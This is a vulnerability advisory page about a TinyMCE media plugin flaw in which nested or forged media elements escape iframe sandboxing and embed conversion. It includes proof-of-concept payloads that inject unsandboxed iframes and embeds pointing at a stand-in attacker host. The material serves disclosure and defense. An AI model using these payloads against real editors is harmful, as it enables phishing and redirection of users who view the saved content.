
Cloud Vulnerability DB
A community-led vulnerabilities database
TinyMCE's sandbox_iframes and convert_unsafe_embeds options add sandbox="" to iframes and convert <object> and <embed> elements into safer alternatives. The media plugin rebuilt some media content with a parser that did not apply these options, so attacker supplied iframes and embeds were left unsandboxed or unconverted in the editor and in saved content. This affects TinyMCE 6.8.0 and later and is fixed in 8.11.1.
When content contained an <iframe>, <object> or <embed> inside a <video> or <audio> element, the media plugin parsed the media element's children again to build its preview. That second parse ignored sandbox_iframes, sandbox_iframes_exclusions and convert_unsafe_embeds, so the nested iframe loaded in the live editor without a sandbox and the nested object and embed elements were kept as they were.
The media plugin also turns media placeholder elements back into real media elements when content is serialized, using the placeholder's data-mce-object, data-mce-p-* and data-mce-html attributes. Placeholders supplied in the input content were rebuilt with the same parser, so getContent() returned an <iframe> without sandbox and <object> or <embed> elements without conversion. This does not run anything in the editor but the unsafe markup is stored and rendered by any page that displays the saved HTML.
The fix makes every parse done by the media plugin use the editor's sandbox_iframes, sandbox_iframes_exclusions and convert_unsafe_embeds settings. Nested and placeholder based media now produce the same sandboxed or converted output as top level media.
Nested iframe in a video element:
tinymce.init({
selector: 'textarea',
plugins: 'media'
// sandbox_iframes and convert_unsafe_embeds are true by default since 7.0.0
}).then(([ editor ]) => {
editor.setContent('<video controls><iframe src="https://attacker.example/"></iframe></video>');
// The iframe in the editor body has no sandbox attribute and loads https://attacker.example/
console.log(editor.getContent());
// <p><video controls="controls" width="300" height="150"><iframe src="https://attacker.example/"></iframe></video></p>
});Forged media placeholders:
tinymce.init({
selector: 'textarea',
plugins: 'media'
// sandbox_iframes and convert_unsafe_embeds are true by default since 7.0.0
}).then(([ editor ]) => {
editor.setContent(
'<p><span data-mce-object="iframe" data-mce-p-src="https://attacker.example/">x</span></p>' +
'<p><span data-mce-object="embed" data-mce-p-src="https://attacker.example/x" data-mce-p-type="text/html">x</span></p>'
);
console.log(editor.getContent());
// <p><iframe src="https://attacker.example/"></iframe></p>
// <p><embed src="https://attacker.example/x" type="text/html"></p>
// Expected: both rendered as <iframe ... sandbox="">
});Anyone who can supply content to an editor with the media plugin enabled can embed a frame from an origin they control that is not sandboxed. The frame can run scripts in its own origin, navigate the top level page, open popups and show forms, which enables phishing and redirection inside the editor and on pages that render the saved content. The frame cannot read or modify the editor or the host page because it stays cross origin, so this is not script execution in the integrator's origin.
sandbox="" to iframes and removing or converting object and embed elements.frame-src on pages that display saved content.To avoid this vulnerability: Upgrade to TinyMCE 8.11.1 or higher.
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."